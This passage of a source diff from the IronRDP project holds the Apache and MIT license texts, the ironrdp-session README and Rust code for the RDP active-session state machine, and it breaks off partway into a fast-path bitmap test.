by You to the Licensor shall be under the terms and conditions of
|
||||||
|
this License, without any additional terms or conditions.
|
||||||
|
Notwithstanding the above, nothing herein shall supersede or modify
|
||||||
|
the terms of any separate license agreement you may have executed
|
||||||
|
with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks. This License does not grant permission to use the trade
|
||||||
|
names, trademarks, service marks, or product names of the Licensor,
|
||||||
|
except as required for reasonable and customary use in describing the
|
||||||
|
origin of the Work and reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||||
|
agreed to in writing, Licensor provides the Work (and each
|
||||||
|
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||||
|
implied, including, without limitation, any warranties or conditions
|
||||||
|
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||||
|
appropriateness of using or redistributing the Work and assume any
|
||||||
|
risks associated with Your exercise of permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability. In no event and under no legal theory,
|
||||||
|
whether in tort (including negligence), contract, or otherwise,
|
||||||
|
unless required by applicable law (such as deliberate and grossly
|
||||||
|
negligent acts) or agreed to in writing, shall any Contributor be
|
||||||
|
liable to You for damages, including any direct, indirect, special,
|
||||||
|
incidental, or consequential damages of any character arising as a
|
||||||
|
result of this License or out of the use or inability to use the
|
||||||
|
Work (including but not limited to damages for loss of goodwill,
|
||||||
|
work stoppage, computer failure or malfunction, or any and all
|
||||||
|
other commercial damages or losses), even if such Contributor
|
||||||
|
has been advised of the possibility of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability. While redistributing
|
||||||
|
the Work or Derivative Works thereof, You may choose to offer,
|
||||||
|
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||||
|
or other liability obligations and/or rights consistent with this
|
||||||
|
License. However, in accepting such obligations, You may act only
|
||||||
|
on Your own behalf and on Your sole responsibility, not on behalf
|
||||||
|
of any other Contributor, and only if You agree to indemnify,
|
||||||
|
defend, and hold each Contributor harmless for any liability
|
||||||
|
incurred by, or claims asserted against, such Contributor by reason
|
||||||
|
of your accepting any such warranty or additional liability.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work.
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following
|
||||||
|
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||||
|
replaced with your own identifying information. (Don't include
|
||||||
|
the brackets!) The text should be enclosed in the appropriate
|
||||||
|
comment syntax for the file format. We also recommend that a
|
||||||
|
file or class name and description of purpose be included on the
|
||||||
|
same "printed page" as the copyright notice for easier
|
||||||
|
identification within third-party archives.
|
||||||
|
|
||||||
|
Copyright [yyyy] [name of copyright owner]
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
Permission is hereby granted, free of charge, to any
|
||||||
|
person obtaining a copy of this software and associated
|
||||||
|
documentation files (the "Software"), to deal in the
|
||||||
|
Software without restriction, including without
|
||||||
|
limitation the rights to use, copy, modify, merge,
|
||||||
|
publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software
|
||||||
|
is furnished to do so, subject to the following
|
||||||
|
conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice
|
||||||
|
shall be included in all copies or substantial portions
|
||||||
|
of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
|
||||||
|
ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||||
|
TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
|
||||||
|
SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||||
|
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
|
||||||
|
IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
|
||||||
|
DEALINGS IN THE SOFTWARE.
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
# IronRDP Session
|
||||||
|
|
||||||
|
Abstract state machine to drive an RDP session.
|
||||||
|
|
||||||
|
This crate is part of the [IronRDP] project.
|
||||||
|
|
||||||
|
[IronRDP]: https://github.com/Devolutions/IronRDP
|
||||||
+469
@@ -0,0 +1,469 @@
|
|||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use ironrdp_bulk::BulkCompressor;
|
||||||
|
use ironrdp_core::{ReadCursor, WriteBuf};
|
||||||
|
use ironrdp_displaycontrol::client::DisplayControlClient;
|
||||||
|
use ironrdp_dvc::{DrdynvcClient, DvcProcessor, DynamicVirtualChannel};
|
||||||
|
use ironrdp_graphics::pointer::DecodedPointer;
|
||||||
|
use ironrdp_pdu::geometry::InclusiveRectangle;
|
||||||
|
use ironrdp_pdu::input::fast_path::{FastPathInput, FastPathInputEvent};
|
||||||
|
use ironrdp_pdu::rdp::autodetect::AutoDetectRequest;
|
||||||
|
use ironrdp_pdu::rdp::client_info::CompressionType as PduCompressionType;
|
||||||
|
use ironrdp_pdu::rdp::headers::ShareDataPdu;
|
||||||
|
use ironrdp_pdu::rdp::multitransport::MultitransportRequestPdu;
|
||||||
|
use ironrdp_pdu::slow_path::{self, GraphicsUpdateType};
|
||||||
|
use ironrdp_pdu::{Action, mcs};
|
||||||
|
use ironrdp_svc::{StaticChannelSet, SvcMessage, SvcProcessor, SvcProcessorMessages};
|
||||||
|
use tracing::{debug, info, warn};
|
||||||
|
|
||||||
|
use crate::fast_path::UpdateKind;
|
||||||
|
use crate::image::DecodedImage;
|
||||||
|
use crate::{SessionError, SessionErrorExt as _, SessionResult, fast_path, x224};
|
||||||
|
|
||||||
|
/// Converts the PDU-layer compression type to the bulk crate's compression type.
|
||||||
|
fn to_bulk_compression_type(ct: PduCompressionType) -> ironrdp_bulk::CompressionType {
|
||||||
|
match ct {
|
||||||
|
PduCompressionType::K8 => ironrdp_bulk::CompressionType::Rdp4,
|
||||||
|
PduCompressionType::K64 => ironrdp_bulk::CompressionType::Rdp5,
|
||||||
|
PduCompressionType::Rdp6 => ironrdp_bulk::CompressionType::Rdp6,
|
||||||
|
PduCompressionType::Rdp61 => ironrdp_bulk::CompressionType::Rdp61,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ActiveStage {
|
||||||
|
x224_processor: x224::Processor,
|
||||||
|
fast_path_processor: fast_path::Processor,
|
||||||
|
enable_server_pointer: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Builder for [`ActiveStage`].
|
||||||
|
///
|
||||||
|
/// All fields are required; they are typically taken straight from `ironrdp-connector`’s
|
||||||
|
/// `ConnectionResult` once the connection sequence is finalized.
|
||||||
|
pub struct ActiveStageBuilder {
|
||||||
|
pub static_channels: StaticChannelSet,
|
||||||
|
pub user_channel_id: u16,
|
||||||
|
pub io_channel_id: u16,
|
||||||
|
pub message_channel_id: Option<u16>,
|
||||||
|
pub share_id: u32,
|
||||||
|
/// The bulk compression type that was negotiated, if any.
|
||||||
|
pub compression_type: Option<PduCompressionType>,
|
||||||
|
/// Enable server-side pointer updates (client-side pointer rendering).
|
||||||
|
pub enable_server_pointer: bool,
|
||||||
|
/// Use software rendering mode for pointer bitmap generation.
|
||||||
|
pub pointer_software_rendering: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ActiveStageBuilder {
|
||||||
|
pub fn build(self) -> ActiveStage {
|
||||||
|
let Self {
|
||||||
|
static_channels,
|
||||||
|
user_channel_id,
|
||||||
|
io_channel_id,
|
||||||
|
message_channel_id,
|
||||||
|
share_id,
|
||||||
|
compression_type,
|
||||||
|
enable_server_pointer,
|
||||||
|
pointer_software_rendering,
|
||||||
|
} = self;
|
||||||
|
|
||||||
|
let x224_processor = x224::Processor::new(
|
||||||
|
static_channels,
|
||||||
|
user_channel_id,
|
||||||
|
io_channel_id,
|
||||||
|
message_channel_id,
|
||||||
|
share_id,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Create bulk decompressor if compression was negotiated
|
||||||
|
let bulk_decompressor = compression_type.and_then(|ct| {
|
||||||
|
let bulk_ct = to_bulk_compression_type(ct);
|
||||||
|
match BulkCompressor::new(bulk_ct) {
|
||||||
|
Ok(compressor) => {
|
||||||
|
info!(compression_type = %bulk_ct, "Bulk decompressor initialized for FastPath");
|
||||||
|
Some(compressor)
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
tracing::error!(error = %e, "Failed to create bulk decompressor, compression disabled");
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
let fast_path_processor = fast_path::ProcessorBuilder {
|
||||||
|
io_channel_id,
|
||||||
|
user_channel_id,
|
||||||
|
share_id,
|
||||||
|
enable_server_pointer,
|
||||||
|
pointer_software_rendering,
|
||||||
|
bulk_decompressor,
|
||||||
|
}
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ActiveStage {
|
||||||
|
x224_processor,
|
||||||
|
fast_path_processor,
|
||||||
|
enable_server_pointer,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ActiveStage {
|
||||||
|
pub fn update_mouse_pos(&mut self, x: u16, y: u16) {
|
||||||
|
self.fast_path_processor.update_mouse_pos(x, y);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encodes outgoing input events and modifies image if necessary (e.g for client-side pointer
|
||||||
|
/// rendering).
|
||||||
|
pub fn process_fastpath_input(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
events: &[FastPathInputEvent],
|
||||||
|
) -> SessionResult<Vec<ActiveStageOutput>> {
|
||||||
|
if events.is_empty() {
|
||||||
|
return Ok(Vec::new());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mouse move events are prevalent, so we can preallocate space for
|
||||||
|
// response frame + graphics update
|
||||||
|
let mut output = Vec::with_capacity(2);
|
||||||
|
|
||||||
|
// Encoding fastpath response frame
|
||||||
|
// PERF: unnecessary copy
|
||||||
|
let fastpath_input = FastPathInput::new(events.to_vec()).map_err(SessionError::decode)?;
|
||||||
|
let frame = ironrdp_core::encode_vec(&fastpath_input).map_err(SessionError::encode)?;
|
||||||
|
output.push(ActiveStageOutput::ResponseFrame(frame));
|
||||||
|
|
||||||
|
// If pointer rendering is disabled - we can skip the rest
|
||||||
|
if !self.enable_server_pointer {
|
||||||
|
return Ok(output);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If mouse was moved by client - we should update framebuffer to reflect new
|
||||||
|
// pointer position
|
||||||
|
let mouse_pos = events.iter().find_map(|event| match event {
|
||||||
|
FastPathInputEvent::MouseEvent(event) => Some((event.x_position, event.y_position)),
|
||||||
|
FastPathInputEvent::MouseEventEx(event) => Some((event.x_position, event.y_position)),
|
||||||
|
_ => None,
|
||||||
|
});
|
||||||
|
|
||||||
|
let (mouse_x, mouse_y) = match mouse_pos {
|
||||||
|
Some(mouse_pos) => mouse_pos,
|
||||||
|
None => return Ok(output),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Graphics update is only sent when update is visually changed the framebuffer
|
||||||
|
if let Some(rect) = image.move_pointer(mouse_x, mouse_y)? {
|
||||||
|
output.push(ActiveStageOutput::GraphicsUpdate(rect));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(output)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process a frame received from the server.
|
||||||
|
pub fn process(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
action: Action,
|
||||||
|
frame: &[u8],
|
||||||
|
) -> SessionResult<Vec<ActiveStageOutput>> {
|
||||||
|
let (mut stage_outputs, processor_updates) = match action {
|
||||||
|
Action::FastPath => {
|
||||||
|
let mut output = WriteBuf::new();
|
||||||
|
let processor_updates = self.fast_path_processor.process(image, frame, &mut output)?;
|
||||||
|
(
|
||||||
|
vec![ActiveStageOutput::ResponseFrame(output.into_inner())],
|
||||||
|
processor_updates,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
Action::X224 => {
|
||||||
|
let x224_outputs = self.x224_processor.process(frame)?;
|
||||||
|
let mut stage_outputs = Vec::new();
|
||||||
|
let mut processor_updates = Vec::new();
|
||||||
|
|
||||||
|
for output in x224_outputs {
|
||||||
|
match output {
|
||||||
|
x224::ProcessorOutput::GraphicsUpdate(data) => {
|
||||||
|
let updates = process_slow_path_graphics(&mut self.fast_path_processor, image, &data)?;
|
||||||
|
processor_updates.extend(updates);
|
||||||
|
}
|
||||||
|
x224::ProcessorOutput::PointerUpdate(data) => {
|
||||||
|
let updates = process_slow_path_pointer(&mut self.fast_path_processor, image, &data)?;
|
||||||
|
processor_updates.extend(updates);
|
||||||
|
}
|
||||||
|
other => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::try_from(other)?);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
(stage_outputs, processor_updates)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
for update in processor_updates {
|
||||||
|
match update {
|
||||||
|
UpdateKind::None => {}
|
||||||
|
UpdateKind::Region(region) => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::GraphicsUpdate(region));
|
||||||
|
}
|
||||||
|
UpdateKind::PointerDefault => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::PointerDefault);
|
||||||
|
}
|
||||||
|
UpdateKind::PointerHidden => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::PointerHidden);
|
||||||
|
}
|
||||||
|
UpdateKind::PointerPosition { x, y } => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::PointerPosition { x, y });
|
||||||
|
}
|
||||||
|
UpdateKind::PointerBitmap(pointer) => {
|
||||||
|
stage_outputs.push(ActiveStageOutput::PointerBitmap(pointer));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(stage_outputs)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_fastpath_processor(&mut self, processor: fast_path::Processor) {
|
||||||
|
self.fast_path_processor = processor;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Updates the share_id used by the x224 processor for encoding ShareDataPdu.
|
||||||
|
/// Must be called during Deactivation-Reactivation if the server assigns a new share_id.
|
||||||
|
pub fn set_share_id(&mut self, share_id: u32) {
|
||||||
|
self.x224_processor.set_share_id(share_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_enable_server_pointer(&mut self, enable_server_pointer: bool) {
|
||||||
|
self.enable_server_pointer = enable_server_pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encodes client-side graceful shutdown request. Note that upon sending this request,
|
||||||
|
/// client should wait for server's ShutdownDenied PDU before closing the connection.
|
||||||
|
///
|
||||||
|
/// Client-side graceful shutdown is defined in [MS-RDPBCGR]
|
||||||
|
///
|
||||||
|
/// [MS-RDPBCGR]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/27915739-8f77-487e-9927-55008af7fd68
|
||||||
|
pub fn graceful_shutdown(&self) -> SessionResult<Vec<ActiveStageOutput>> {
|
||||||
|
let mut frame = WriteBuf::new();
|
||||||
|
self.x224_processor
|
||||||
|
.encode_static(&mut frame, ShareDataPdu::ShutdownRequest)?;
|
||||||
|
|
||||||
|
Ok(vec![ActiveStageOutput::ResponseFrame(frame.into_inner())])
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Send a pdu on the static global channel. Typically used to send input events
|
||||||
|
pub fn encode_static(&self, output: &mut WriteBuf, pdu: ShareDataPdu) -> SessionResult<usize> {
|
||||||
|
self.x224_processor.encode_static(output, pdu)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_svc_processor<T: SvcProcessor + 'static>(&mut self) -> Option<&T> {
|
||||||
|
self.x224_processor.get_svc_processor()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_svc_processor_mut<T: SvcProcessor + 'static>(&mut self) -> Option<&mut T> {
|
||||||
|
self.x224_processor.get_svc_processor_mut()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_dvc<T: DvcProcessor + 'static>(&mut self) -> Option<&DynamicVirtualChannel> {
|
||||||
|
self.x224_processor.get_dvc::<T>()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_dvc_by_channel_id(&mut self, channel_id: u32) -> Option<&DynamicVirtualChannel> {
|
||||||
|
self.x224_processor.get_dvc_by_channel_id(channel_id)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Completes user's SVC request with data, required to sent it over the network and returns
|
||||||
|
/// a buffer with encoded data.
|
||||||
|
pub fn process_svc_processor_messages<C: SvcProcessor + 'static>(
|
||||||
|
&self,
|
||||||
|
messages: SvcProcessorMessages<C>,
|
||||||
|
) -> SessionResult<Vec<u8>> {
|
||||||
|
self.x224_processor.process_svc_processor_messages(messages)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Fully encodes a resize request for sending over the Display Control Virtual Channel.
|
||||||
|
///
|
||||||
|
/// If the Display Control Virtual Channel is not available, or not yet connected, this method
|
||||||
|
/// will return `None`.
|
||||||
|
///
|
||||||
|
/// Per [2.2.2.2.1]:
|
||||||
|
/// - The `width` MUST be greater than or equal to 200 pixels and less than or equal to 8192 pixels, and MUST NOT be an odd value.
|
||||||
|
/// - The `height` MUST be greater than or equal to 200 pixels and less than or equal to 8192 pixels.
|
||||||
|
/// - The `scale_factor` MUST be ignored if it is less than 100 percent or greater than 500 percent.
|
||||||
|
/// - The `physical_dims` (width, height) MUST be ignored if either is less than 10 mm or greater than 10,000 mm.
|
||||||
|
///
|
||||||
|
/// Use [`ironrdp_displaycontrol::pdu::MonitorLayoutEntry::adjust_display_size`] to adjust `width` and `height` before calling this function
|
||||||
|
/// to ensure the display size is within the valid range.
|
||||||
|
///
|
||||||
|
/// [2.2.2.2.2]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpedisp/ea2de591-9203-42cd-9908-be7a55237d1c
|
||||||
|
pub fn encode_resize(
|
||||||
|
&mut self,
|
||||||
|
width: u32,
|
||||||
|
height: u32,
|
||||||
|
scale_factor: Option<u32>,
|
||||||
|
physical_dims: Option<(u32, u32)>,
|
||||||
|
) -> Option<SessionResult<Vec<u8>>> {
|
||||||
|
if let Some(dvc) = self.get_dvc::<DisplayControlClient>() {
|
||||||
|
if let Some(channel_id) = dvc.channel_id() {
|
||||||
|
let display_control = dvc.channel_processor_downcast_ref::<DisplayControlClient>()?;
|
||||||
|
let svc_messages = match display_control.encode_single_primary_monitor(
|
||||||
|
channel_id,
|
||||||
|
width,
|
||||||
|
height,
|
||||||
|
scale_factor,
|
||||||
|
physical_dims,
|
||||||
|
) {
|
||||||
|
Ok(messages) => messages,
|
||||||
|
Err(e) => return Some(Err(SessionError::encode(e))),
|
||||||
|
};
|
||||||
|
|
||||||
|
return Some(
|
||||||
|
self.process_svc_processor_messages(SvcProcessorMessages::<DrdynvcClient>::new(svc_messages)),
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
debug!("Could not encode a resize: Display Control Virtual Channel is not yet connected");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
debug!("Could not encode a resize: Display Control Virtual Channel is not available");
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn encode_dvc_messages(&mut self, messages: Vec<SvcMessage>) -> SessionResult<Vec<u8>> {
|
||||||
|
self.process_svc_processor_messages(SvcProcessorMessages::<DrdynvcClient>::new(messages))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum ActiveStageOutput {
|
||||||
|
ResponseFrame(Vec<u8>),
|
||||||
|
GraphicsUpdate(InclusiveRectangle),
|
||||||
|
PointerDefault,
|
||||||
|
PointerHidden,
|
||||||
|
PointerPosition {
|
||||||
|
x: u16,
|
||||||
|
y: u16,
|
||||||
|
},
|
||||||
|
PointerBitmap(Arc<DecodedPointer>),
|
||||||
|
Terminate(GracefulDisconnectReason),
|
||||||
|
/// Received a Server Deactivate All PDU. The consumer should execute the [Deactivation-Reactivation Sequence].
|
||||||
|
///
|
||||||
|
/// [Deactivation-Reactivation Sequence]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/dfc234ce-481a-4674-9a5d-2a7bafb14432
|
||||||
|
DeactivateAll,
|
||||||
|
/// Server Initiate Multitransport Request. The application should establish a
|
||||||
|
/// sideband UDP transport using the provided request parameters.
|
||||||
|
///
|
||||||
|
/// See [\[MS-RDPBCGR\] 2.2.15.1].
|
||||||
|
///
|
||||||
|
/// [\[MS-RDPBCGR\] 2.2.15.1]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/de783158-8b01-4818-8fb0-62523a5b3490
|
||||||
|
MultitransportRequest(MultitransportRequestPdu),
|
||||||
|
/// Server-reported network characteristics ([\[MS-RDPBCGR\] 2.2.14.1.5]).
|
||||||
|
///
|
||||||
|
/// Contains an [`AutoDetectRequest::NetworkCharacteristicsResult`] with
|
||||||
|
/// RTT and/or bandwidth measurements computed by the server.
|
||||||
|
///
|
||||||
|
/// See [\[MS-RDPBCGR\] 2.2.14.1.5].
|
||||||
|
///
|
||||||
|
/// [\[MS-RDPBCGR\] 2.2.14.1.5]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/228ffc5c-b60c-4d3e-9781-ac613f822fdf
|
||||||
|
AutoDetect(AutoDetectRequest),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TryFrom<x224::ProcessorOutput> for ActiveStageOutput {
|
||||||
|
type Error = SessionError;
|
||||||
|
|
||||||
|
fn try_from(value: x224::ProcessorOutput) -> Result<Self, Self::Error> {
|
||||||
|
match value {
|
||||||
|
x224::ProcessorOutput::ResponseFrame(frame) => Ok(Self::ResponseFrame(frame)),
|
||||||
|
x224::ProcessorOutput::Disconnect(desc) => {
|
||||||
|
let desc = match desc {
|
||||||
|
x224::DisconnectDescription::McsDisconnect(reason) => match reason {
|
||||||
|
mcs::DisconnectReason::ProviderInitiated => GracefulDisconnectReason::ServerInitiated,
|
||||||
|
mcs::DisconnectReason::UserRequested => GracefulDisconnectReason::UserInitiated,
|
||||||
|
other => GracefulDisconnectReason::Other(other.description().to_owned()),
|
||||||
|
},
|
||||||
|
x224::DisconnectDescription::ErrorInfo(info) => GracefulDisconnectReason::Other(info.description()),
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(Self::Terminate(desc))
|
||||||
|
}
|
||||||
|
x224::ProcessorOutput::DeactivateAll => Ok(Self::DeactivateAll),
|
||||||
|
x224::ProcessorOutput::MultitransportRequest(pdu) => Ok(Self::MultitransportRequest(pdu)),
|
||||||
|
x224::ProcessorOutput::AutoDetect(request) => Ok(Self::AutoDetect(request)),
|
||||||
|
// GraphicsUpdate and PointerUpdate are consumed in ActiveStage::process()
|
||||||
|
// before reaching this conversion.
|
||||||
|
x224::ProcessorOutput::GraphicsUpdate(_) | x224::ProcessorOutput::PointerUpdate(_) => Err(
|
||||||
|
SessionError::general("slow-path graphics/pointer updates should be handled before this conversion"),
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Reasons for graceful disconnect. This type provides GUI-friendly descriptions for
|
||||||
|
/// disconnect reasons.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum GracefulDisconnectReason {
|
||||||
|
UserInitiated,
|
||||||
|
ServerInitiated,
|
||||||
|
Other(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl GracefulDisconnectReason {
|
||||||
|
pub fn description(&self) -> String {
|
||||||
|
match self {
|
||||||
|
GracefulDisconnectReason::UserInitiated => "user initiated disconnect".to_owned(),
|
||||||
|
GracefulDisconnectReason::ServerInitiated => "server initiated disconnect".to_owned(),
|
||||||
|
GracefulDisconnectReason::Other(description) => description.clone(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl core::fmt::Display for GracefulDisconnectReason {
|
||||||
|
fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result {
|
||||||
|
f.write_str(&self.description())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse and process a slow-path graphics update through the shared bitmap pipeline.
|
||||||
|
fn process_slow_path_graphics(
|
||||||
|
fast_path_processor: &mut fast_path::Processor,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
data: &[u8],
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut src = ReadCursor::new(data);
|
||||||
|
let update_type = slow_path::read_graphics_update_type(&mut src).map_err(SessionError::decode)?;
|
||||||
|
|
||||||
|
match update_type {
|
||||||
|
GraphicsUpdateType::Bitmap => {
|
||||||
|
let bitmap = slow_path::decode_slow_path_bitmap(&mut src).map_err(SessionError::decode)?;
|
||||||
|
fast_path_processor.process_bitmap_update(image, bitmap)
|
||||||
|
}
|
||||||
|
GraphicsUpdateType::Orders => {
|
||||||
|
warn!("Slow-path drawing orders not supported (MS-RDPEGDI)");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
GraphicsUpdateType::Palette => {
|
||||||
|
warn!("Slow-path palette update not supported (8bpp)");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
// Synchronize is an artifact from the T.128 multipoint protocol
|
||||||
|
// and carries no data. Safe to ignore.
|
||||||
|
GraphicsUpdateType::Synchronize => {
|
||||||
|
debug!("Ignoring slow-path synchronize update");
|
||||||
|
Ok(Vec::new())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse and process a slow-path pointer update through the shared pointer pipeline.
|
||||||
|
fn process_slow_path_pointer(
|
||||||
|
fast_path_processor: &mut fast_path::Processor,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
data: &[u8],
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut src = ReadCursor::new(data);
|
||||||
|
let pointer = slow_path::decode_slow_path_pointer(&mut src).map_err(SessionError::decode)?;
|
||||||
|
fast_path_processor.process_pointer_update(image, pointer)
|
||||||
|
}
|
||||||
+821
@@ -0,0 +1,821 @@
|
|||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use ironrdp_bulk::BulkCompressor;
|
||||||
|
use ironrdp_core::{DecodeErrorKind, ReadCursor, WriteBuf, decode_cursor};
|
||||||
|
use ironrdp_graphics::image_processing::PixelFormat;
|
||||||
|
use ironrdp_graphics::pointer::{DecodedPointer, PointerBitmapTarget};
|
||||||
|
use ironrdp_graphics::rdp6::BitmapStreamDecoder;
|
||||||
|
use ironrdp_graphics::rle::RlePixelFormat;
|
||||||
|
use ironrdp_pdu::bitmap::BitmapUpdateData;
|
||||||
|
use ironrdp_pdu::codecs::rfx::FrameAcknowledgePdu;
|
||||||
|
use ironrdp_pdu::fast_path::{FastPathHeader, FastPathUpdate, FastPathUpdatePdu, Fragmentation};
|
||||||
|
use ironrdp_pdu::geometry::{InclusiveRectangle, Rectangle as _};
|
||||||
|
use ironrdp_pdu::pointer::PointerUpdateData;
|
||||||
|
use ironrdp_pdu::rdp::capability_sets::{CODEC_ID_NONE, CODEC_ID_REMOTEFX, CodecId};
|
||||||
|
use ironrdp_pdu::rdp::headers::{CompressionFlags, ShareDataPdu};
|
||||||
|
use ironrdp_pdu::surface_commands::{FrameAction, FrameMarkerPdu, SurfaceCommand};
|
||||||
|
use tracing::{debug, trace, warn};
|
||||||
|
|
||||||
|
use crate::image::DecodedImage;
|
||||||
|
use crate::palette::Palette;
|
||||||
|
use crate::pointer::PointerCache;
|
||||||
|
use crate::{SessionError, SessionErrorExt as _, SessionResult, custom_err, reason_err, rfx};
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use ironrdp_pdu::bitmap::{BitmapData, Compression};
|
||||||
|
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn raw_bitmap_removes_byte_padding_without_changing_source_stride() {
|
||||||
|
let mut processor = ProcessorBuilder {
|
||||||
|
io_channel_id: 0,
|
||||||
|
user_channel_id: 0,
|
||||||
|
share_id: 0,
|
||||||
|
enable_server_pointer: false,
|
||||||
|
pointer_software_rendering: false,
|
||||||
|
bulk_decompressor: None,
|
||||||
|
}
|
||||||
|
.build();
|
||||||
|
let mut image = DecodedImage::new(PixelFormat::RgbA32, 4, 3);
|
||||||
|
|
||||||
|
// Two bottom-up BGR rows of three source pixels each. The final source
|
||||||
|
// column is outside the destination and each row has three pad bytes.
|
||||||
|
let bitmap_data = [
|
||||||
|
